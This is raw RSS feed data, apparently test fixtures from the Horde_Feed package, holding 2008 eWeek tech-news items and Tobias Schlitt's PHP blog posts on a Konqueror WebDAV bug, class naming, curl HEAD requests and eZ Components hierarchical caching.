src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=cShwDJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=UOoLqj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=UOoLqj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341809043" height="1" width="1"/> http://www.eweek.com/c/a/Mobile-and-Wireless/Nokia-Qualcomm-Licensing-Trial-Begins/?kc=rss http://www.eweek.com/c/a/Mobile-and-Wireless/Nokia-Qualcomm-Licensing-Trial-Begins/?kc=rss Microsoft Windows Home Server Update Arrives Mon, 21 Jul 2008 14:23:16 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341781134/ Microsoft Windows Home Server Power Pack 1 is available for download and will start automatic rollouts by early August. The Microsoft Windows Home Server update includes support for home PCs running 64-bit Windows Vista and enhanced remote access.<br/> - Microsoft on July 21 will make Windows Home Server Power Pack 1 available for download on its Web site, and will start automatic rollouts of the update by early August. quot;This is an incremental release [with] a range of enhancements, quot; said Joel Sider, senior product manager for the WHS ...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=0eaf1346575575e22e49867a725fe0cb" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=0eaf1346575575e22e49867a725fe0cb" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=yjkuZB"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=yjkuZB" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=2dUMyJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=2dUMyJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=9h47jj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=9h47jj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=QdC6wJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=QdC6wJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=0ScAyJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=0ScAyJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=WltLdJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=WltLdJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=OHTmQJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=OHTmQJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=eiV2yj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=eiV2yj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341781134" height="1" width="1"/> http://www.eweek.com/c/a/Storage/Microsoft-Windows-Home-Server-Update-Arrives/?kc=rss http://www.eweek.com/c/a/Storage/Microsoft-Windows-Home-Server-Update-Arrives/?kc=rss Open-Source Databases MySQL, PostgreSQL, Adoption Rising Mon, 21 Jul 2008 14:12:45 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341769876/ Open-source databases MySQL and PostgreSQL are gaining steam, but rip-and-replace situations where MySQL and PostgreSQL replace Oracle Database, IBM DB2 or Microsoft SQL Server databases remain rare.<br/> - The open-source database market is continuing its upswing, and shows no signs of slowing down. A market update by Forrester Research puts the value of the open-source database market at $850 million, which includes software licensing, technical support and services. By 2010, the authors of t...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=62f4b833f6a69ef03ece89bfff192390" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=62f4b833f6a69ef03ece89bfff192390" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=khBEzJ"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=khBEzJ" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=k8XfnJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=k8XfnJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Nkd1Fj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Nkd1Fj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=LwMtdJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=LwMtdJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=ijWRLJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=ijWRLJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=QmKaGJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=QmKaGJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Pn4VmJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Pn4VmJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=bdMrDj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=bdMrDj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341769876" height="1" width="1"/> http://www.eweek.com/c/a/Database/Open-Source-Database-Adoption-Upswing-Continues/?kc=rss http://www.eweek.com/c/a/Database/Open-Source-Database-Adoption-Upswing-Continues/?kc=rss Enhancing Web-Based Video Surveillance Mon, 21 Jul 2008 14:02:16 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341769877/ Envysion's loss prevention solution links existing digital video systems to Web browsers.<br/> - Envysion, which makes PCI-compliant Web video management technology, is adding new features to its managed video surveillance solution. Announced July 21, the features allow users to perform activities such as event search and filtering, reporting and alerting, and video collaboration. quot;We ...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=1d72d3ffa4e5518fa9a1d4c6f16405d7" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=1d72d3ffa4e5518fa9a1d4c6f16405d7" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=ZPpJCV"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=ZPpJCV" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=xqOQlJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=xqOQlJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=y8CEQj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=y8CEQj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=qcUlZJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=qcUlZJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Axf9OJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Axf9OJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=LVhtbJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=LVhtbJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=yH45AJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=yH45AJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=iWGGEj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=iWGGEj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341769877" height="1" width="1"/> http://www.eweek.com/c/a/Retail/Enhancing-Webbased-Video-Surveillance/?kc=rss http://www.eweek.com/c/a/Retail/Enhancing-Webbased-Video-Surveillance/?kc=rss eWeek Newsbreak, July 21, 2008 Mon, 21 Jul 2008 14:02:14 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341769878/ Between the Aug. 8 opening events and the Aug. 24 closing ceremonies NBC will film 4,000 hours of footage and broadcast nearly 3,000 hours of it on its family of TV networks and Web site. To film, edit and broadcast all the footage in a timely manner, NBC partnered with Isilon Systems and Omneon Video Networks. Together they developed a complex editing process using big storage infrastructure and tagging technology; Intels Centrino is Intels fifth mobile platform for notebooks and the chip maker claims it will increase laptop battery life while delivering speedier performance and faster wireless connectivity; Repsol, a top ten oil producer teamed with the IBM and the Barcelona Supercomputing Center project to produce more accurate drilling and exploration maps. More accurate maps make drilling cheaper and faster. Respol is using the power of the IBM PowerXCell 8i processor to speed up the imaging algorithm used to render the maps; and Apple opened the doors to its iPhone App store last week, unleashing more than 500 applications for iPhone users. With all the options you might forget its a phone or the offspring of a music player.<br/> - Video Content....<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=6c0f20e98e8f969b471974bb87eb574c" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=6c0f20e98e8f969b471974bb87eb574c" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=NNkPPk"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=NNkPPk" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=lOlypJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=lOlypJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=IU8s6j"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=IU8s6j" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Lo9p2J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Lo9p2J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=D2uxzJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=D2uxzJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=e4VVZJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=e4VVZJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=aex2bJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=aex2bJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=LFhvtj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=LFhvtj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341769878" height="1" width="1"/> http://www.eweek.com/c/a/Video/eWeek-Newsbreak-July-21-2008/?kc=rss http://www.eweek.com/c/a/Video/eWeek-Newsbreak-July-21-2008/?kc=rss Google Issues Lame Response to Android SDK Gaffe Mon, 21 Jul 2008 12:36:06 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341696544/ Google erred on the conservative side by offering its new Android SDK to only the 50 winners of the Android Developer Challenge. My guess is that Google's Android mission will now be full disclosure of the SDK and its overall open-source development practice.<br/> - Google made a critical faux pas July 14 when it sent out a new Android software development kit to only the 50 winners of the Android Developer Challenge. How very un-open source of it. But Google might have even erred more greatly in responding to the issue, as a spokesperson told me July 18:...<br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=49d52428dba64b92cc65ebef7145a07b"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=49d52428dba64b92cc65ebef7145a07b"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=49d52428dba64b92cc65ebef7145a07b" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=cNIbIV"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=cNIbIV" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=PmkUmJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=PmkUmJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=mU6FHj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=mU6FHj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=rFkFKJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=rFkFKJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=H0YYYJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=H0YYYJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=hB10YJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=hB10YJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=YQKaMJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=YQKaMJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=N5eNpj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=N5eNpj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341696544" height="1" width="1"/> http://www.eweek.com/c/a/Mobile-and-Wireless/Google-Issues-Lame-Response-to-Android-SDK-Gaffe/?kc=rss http://www.eweek.com/c/a/Mobile-and-Wireless/Google-Issues-Lame-Response-to-Android-SDK-Gaffe/?kc=rss Intel Cuts Xeon, Core Duo Chip Prices Mon, 21 Jul 2008 11:32:37 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341635797/ Intel is dropping the prices of several Xeon server processors and its Core 2 Duo and Core 2 Quad desktop chips. Intel is reducing the price of its processors less than a week after the chip maker announced its positive 2008 second-quarter earnings.<br/> - Intel is cutting prices on some of its Xeon server processors as well as several of its Core 2 Duo and Core 2 Quad desktop models. The changes to Intel processor pricing were posted on the companys Web site July 20, and the new prices come less than a week after Intel posted its second-quarter ...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=3ce05d4873cd027e782e0921ab383fc3" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=3ce05d4873cd027e782e0921ab383fc3" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=2Iz0dW"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=2Iz0dW" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=HRGw8J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=HRGw8J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=2xNz3j"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=2xNz3j" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Y5E6MJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Y5E6MJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=tEcSDJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=tEcSDJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=UbtxhJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=UbtxhJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=2NrMPJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=2NrMPJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=9JKg8j"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=9JKg8j" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341635797" height="1" width="1"/> http://www.eweek.com/c/a/Desktops-and-Notebooks/Intel-Cuts-Xeon-Desktop-Processor-Prices/?kc=rss http://www.eweek.com/c/a/Desktops-and-Notebooks/Intel-Cuts-Xeon-Desktop-Processor-Prices/?kc=rss ././@LongLink000 163 0003736 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-schlitt.info-applications-blog-index.php%2F-feeds-index.rss2Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-schlitt.info-applications-blog-index.php%2F-f0000664000175000017500000021637712653701626031316 0ustar janjan Tobias Schlitt - a passion for php http://schlitt.info/applications/blog/ About PHP, eZ components, PEAR and other geeky stuff... en Serendipity 1.3 - http://www.s9y.org/ tobias@schlitt.info tobias@schlitt.info 120 Tue, 08 Jul 2008 20:09:22 GMT http://schlitt.info/applications/blog/uploads/bewerbungsphot_2_small.serendipityThumb.jpg RSS: Tobias Schlitt - a passion for php - About PHP, eZ components, PEAR and other geeky stuff... http://schlitt.info/applications/blog/ 110 152 Really helpful open source guys http://schlitt.info/applications/blog/index.php?/archives/608-Really-helpful-open-source-guys.html http://schlitt.info/applications/blog/index.php?/archives/608-Really-helpful-open-source-guys.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=608 0 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=608 nospam@example.com (Tobias Schlitt) <p>While writing tests for the <a href="http://schlitt.info/applications/blog/exit.php?url_id=4626&amp;entry_id=608" title="http://ezcomponents.org" onmouseover="window.status='http://ezcomponents.org';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">eZ Components</a> <a href="http://schlitt.info/applications/blog/exit.php?url_id=4627&amp;entry_id=608" title="http://ezcomponents.org/s/Webdav" onmouseover="window.status='http://ezcomponents.org/s/Webdav';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Webdav</a> component I stumbled over an <a href="http://schlitt.info/applications/blog/exit.php?url_id=4632&amp;entry_id=608" title="http://issues.ez.no/IssueView.php?Id=13324&amp;amp;activeItem=1" onmouseover="window.status='http://issues.ez.no/IssueView.php?Id=13324&amp;amp;activeItem=1';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">issue</a> with <a href="http://schlitt.info/applications/blog/exit.php?url_id=4628&amp;entry_id=608" title="http://www.konqueror.org/" onmouseover="window.status='http://www.konqueror.org/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Konqueror</a> 3.5.9. While we have working tests for the PUT request (uploading files) for version 3.5.7, this request type did not work with my recent Konqueror installation. Some debugging and request dumping in <a href="http://schlitt.info/applications/blog/exit.php?url_id=4629&amp;entry_id=608" title="http://www.lighttpd.net/" onmouseover="window.status='http://www.lighttpd.net/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Lighttpd</a> later I was quite sure that Konqueror was the issue.</p> <p>I'm neither a C(++) guy, nor do I use <a href="http://schlitt.info/applications/blog/exit.php?url_id=4630&amp;entry_id=608" title="http://www.kde.org" onmouseover="window.status='http://www.kde.org';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">KDE</a>. Therefore I joined #kde-devel on Freenode to see, if anyone there would be willing to support me in my bug tracking. After a rough description I instandly got feedback on the essential points I needed: Where in the code to look for the issue (it's kdelibs/kioslave/http), what the correct SVN revisions for the 3.5.7 and 3.5.9 tags are and how I can easily try if the issue resides in the supposed code area.</p> <p>Some kdelibs compile later I could verify that the issue came from the kioslave http module. While I could not really see the issue in the diff from 3.5.7 to 3.5.9 myself, again some people in the IRC channel instantly helped me and we found the problem together within minutes. A patch was created within minutes and I hope my <a href="http://schlitt.info/applications/blog/exit.php?url_id=4631&amp;entry_id=608" title="http://bugs.kde.org/show_bug.cgi?id=166081" onmouseover="window.status='http://bugs.kde.org/show_bug.cgi?id=166081';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">bug report</a> for Konqueror will be closed soonish.</p> <p>In this sense: <b>Thanks KDE people!</b> That was really good support! :)</p> Tue, 08 Jul 2008 22:07:00 +0200 http://schlitt.info/applications/blog/index.php?/archives/608-guid.html http://creativecommons.org/licenses/by-nd/2.5/bug ez components konqueror php webdav iRefuseToUse aNamingScheme http://schlitt.info/applications/blog/index.php?/archives/607-iRefuseToUse-aNamingScheme.html http://schlitt.info/applications/blog/index.php?/archives/607-iRefuseToUse-aNamingScheme.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=607 0 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=607 nospam@example.com (Tobias Schlitt) <p>I find the recent discussion about good naming schemes quite funny. Namespaces are potentially coming in PHP 5.3 (does anyone believe?) and people start discussion about how they can even shorten their names from <i>Abstract</i> to <i>aSomething</i> and from <i>Interface</i> to <i>iAnotherthing</i>. I'm a fan of short names. As <a href="http://schlitt.info/applications/blog/exit.php?url_id=4625&amp;entry_id=607" title="http://usrportage.de/archives/893-Over-abbreviated.html" onmouseover="window.status='http://usrportage.de/archives/893-Over-abbreviated.html';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Lars pointed out</a>:</p> <blockquote><p>as short as possible, as verbose as needed</p> </blockquote> <p>and</p> <blockquote><p>you must understand the name without studying specific rules before</p> </blockquote> <p>I agree with these rules and am of the opinion that class names must all above anything contain a <b>semantic</b>. Interfaces indicate what you can do with an object, while abstract classes model that different classes have a common base and can be used in the same mannor. And indeed you can add these semantics to names without using the terms.</p> <p>Good examples are <i>Persistable</i> which indicates that an object implementing this interface can be persisted, <i>Configurable</i> or <i>Connectable</i>. Abstract classes usually model a common base for other classes and define how these are being used <i>Reflector</i> and <i>Configurator</i> are good examples for such semantics. If this does not indicate their abstractness good enough to you, you can still indicate that this is a basis for other classes to be extended before being used: <i>BaseReflector</i> or <i>BaseConfigurator</i>.</p> <p>In fact for me, the abstractness of a class does not really matter that much. Most commonly you also provide descendants of this class and it is commonly clear that one should not use <i>DatabaseHandler</i> but either of <i>OracleHandler</i> or <i>MysqlHandler</i>.</p> <p>Just my .02.</p> Mon, 30 Jun 2008 19:49:00 +0200 http://schlitt.info/applications/blog/index.php?/archives/607-guid.html http://creativecommons.org/licenses/by-nd/2.5/php api design Sending HEAD requests with ext/curl http://schlitt.info/applications/blog/index.php?/archives/606-Sending-HEAD-requests-with-extcurl.html http://schlitt.info/applications/blog/index.php?/archives/606-Sending-HEAD-requests-with-extcurl.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=606 9 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=606 nospam@example.com (Tobias Schlitt) <p><a href="http://schlitt.info/applications/blog/exit.php?url_id=4621&amp;entry_id=606" title="http://php.net/curl" onmouseover="window.status='http://php.net/curl';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">ext/curl</a> is the common tool of choice, if one needs to perform more advanced HTTP requests from a PHP script (for simple ones, use a <a href="http://schlitt.info/applications/blog/exit.php?url_id=4624&amp;entry_id=606" title="http://php.net/stream" onmouseover="window.status='http://php.net/stream';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">stream</a>!). I recently wanted to perform a HEAD request to a file, after which I wanted to perform some more advanced HTTP interaction, so <a href="http://schlitt.info/applications/blog/exit.php?url_id=4623&amp;entry_id=606" title="http://curl.haxx.se/" onmouseover="window.status='http://curl.haxx.se/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">CURL</a> was also the tool of choice here.</p> <p>Trying it out on the shell with a local web server, CURL was operating quite slow, in contrast to a GET request. The <i>-i</i> command line switch makes curl include the headers in the printed output, <i>-X</i> lets you define a custom HTTP request.</p> <pre><code>dotxp@tango ~ $ time curl -i -X HEAD http://localhost/admin/ HTTP/1.1 200 OK X-Powered-By: PHP/5.2.7-dev &lt;snip type=&quot;more http headers&quot; /&gt; Content-Type: text/html; charset=utf-8 Date: Mon, 23 Jun 2008 09:10:59 GMT Server: lighttpd/1.4.19 real 0m6.079s user 0m0.004s sys 0m0.000s</code></pre> <pre><code>dotxp@tango ~ $ time curl -i -X GET http://localhost/admin/ HTTP/1.1 200 OK Transfer-Encoding: chunked X-Powered-By: PHP/5.2.7-dev &lt;snip type=&quot;more http headers&quot; /&gt; Content-Type: text/html; charset=utf-8 Date: Mon, 23 Jun 2008 09:12:27 GMT Server: lighttpd/1.4.19 &lt;snip content=&quot;html source&quot; /&gt; real 0m0.180s user 0m0.004s sys 0m0.000s</code></pre> <p>A difference of 6 seconds runtime of a HEAD in contrast to 0.2 seconds for a GET is quite contrary to the original idea of a HEAD request. HEAD is used to just receive the headers of an URI instead of receiving the whole contents, to save bandwidth, memory and execution time.</p> <p>ext/curl showed the exact same problem. Fiddling a bit with the command line switches, I found to replace <i>-i</i> with <i>-I</i> which makes curl print only the headers, but not the body of the response.</p> <pre><code>dotxp@tango ~ $ time curl -I -X HEAD http://localhost/admin/ HTTP/1.1 200 OK X-Powered-By: PHP/5.2.7-dev &lt;snip type=&quot;more http headers&quot; /&gt; Content-Type: text/html; charset=utf-8 Date: Mon, 23 Jun 2008 09:19:05 GMT Server: lighttpd/1.4.19 real 0m0.044s user 0m0.004s sys 0m0.000s</code></pre> <p>0.04 seconds is now even faster than the corresponding GET request, with the -I switch, which took me 0.09 seconds. Now I just needed to transfer the command line options to the corresponding ext/curl ones:</p> <pre><code>$c = curl_init(); curl_setopt( $c, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $c, CURLOPT_CUSTOMREQUEST, 'HEAD' ); curl_setopt( $c, CURLOPT_HEADER, 1 ); curl_setopt( $c, CURLOPT_NOBODY, true ); curl_setopt( $c, CURLOPT_URL, 'http://localhost/admin/' ); $res = curl_exec( $c ); </code></pre> <p>The <i>RETURNTRANSFER</i> makes ext/curl return the HTTP response instead of printing it. Using the <i>CUSTOMREQUEST</i> option you define to send a HEAD request instead of a standard GET or POST request. The <i>HEADER</i> option makes ext/curl include the response headers in the return value of <i>curl_exec()</i> call and NOBODY avoids the inclusion of the body content here. The <i>URL</i> option as usually sets the URL to request and <i>curl_exec()</i> makes ext/curl execute the request.</p> <p>The runtime was even a fraction of a second faster here, compared to the command line version, but that can be subjectively. However, the HEAD request works as expected now. Maybe it's useful for someone to know this.</p> Mon, 23 Jun 2008 11:25:00 +0200 http://schlitt.info/applications/blog/index.php?/archives/606-guid.html http://creativecommons.org/licenses/by-nd/2.5/curl howto php Hierarchical caching http://schlitt.info/applications/blog/index.php?/archives/605-Hierarchical-caching.html http://schlitt.info/applications/blog/index.php?/archives/605-Hierarchical-caching.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=605 2 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=605 nospam@example.com (Tobias Schlitt) <p>One of the cool new features in the new <a href="http://schlitt.info/applications/blog/exit.php?url_id=4612&amp;entry_id=605" title="http://ezcomponents.org/resources/news/news-2008-06-16" onmouseover="window.status='http://ezcomponents.org/resources/news/news-2008-06-16';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">2008.1</a> release of the <a href="http://schlitt.info/applications/blog/exit.php?url_id=4613&amp;entry_id=605" title="http://ezcomponents.org/" onmouseover="window.status='http://ezcomponents.org/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">eZ Components</a> library is hierarchical caching.</p> <p>Until now, we supported several types of cache storages. Some of these utilize the file system to store data, others can use APC or Memcache. While file based caches are usually large, since disk space is getting cheaper and cheaper, they are also much slower than memory based caches. RAM caches in contrast are blazingly fast, but memory is still much more limited than disk space. Therefore it is sensible, that the most important data for a website is stored in memory while less important stuff gets cached on the disk.</p> <p><div style="text-align: center;"><a href="http://schlitt.info/applications/blog/exit.php?url_id=4614&amp;entry_id=605" title="http://ezcomponents.org/docs/tutorials/Cache#hierarchical-caching" onmouseover="window.status='http://ezcomponents.org/docs/tutorials/Cache#hierarchical-caching';return true;" onmouseout="window.status='';return true;"><img src="http://schlitt.info/ez/stack_complete.png" border="0" width="253" height="255" alt="stack_complete.png" /></a></div></p> <p>The new <a href="http://schlitt.info/applications/blog/exit.php?url_id=4615&amp;entry_id=605" title="http://ezcomponents.org/docs/api/trunk/Cache/ezcCacheStack.html" onmouseover="window.status='http://ezcomponents.org/docs/api/trunk/Cache/ezcCacheStack.html';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">ezcCacheStack</a> class in the eZ Cache component provides an automatic way of realizing this. You simply stack together an arbitrary number of storages. The stack will store every item into all of the stacked caches. You can configure how many items may reside in a storage. A replacement strategy class takes care about purging a certain number items in case a storage runs full. On restore, the stack will fetch the desired item from the topmost cache it is still stored in.</p> <p>Replacement strategies shipped with the eZ Cache component provide you with 2 well-known <a href="http://schlitt.info/applications/blog/exit.php?url_id=4616&amp;entry_id=605" 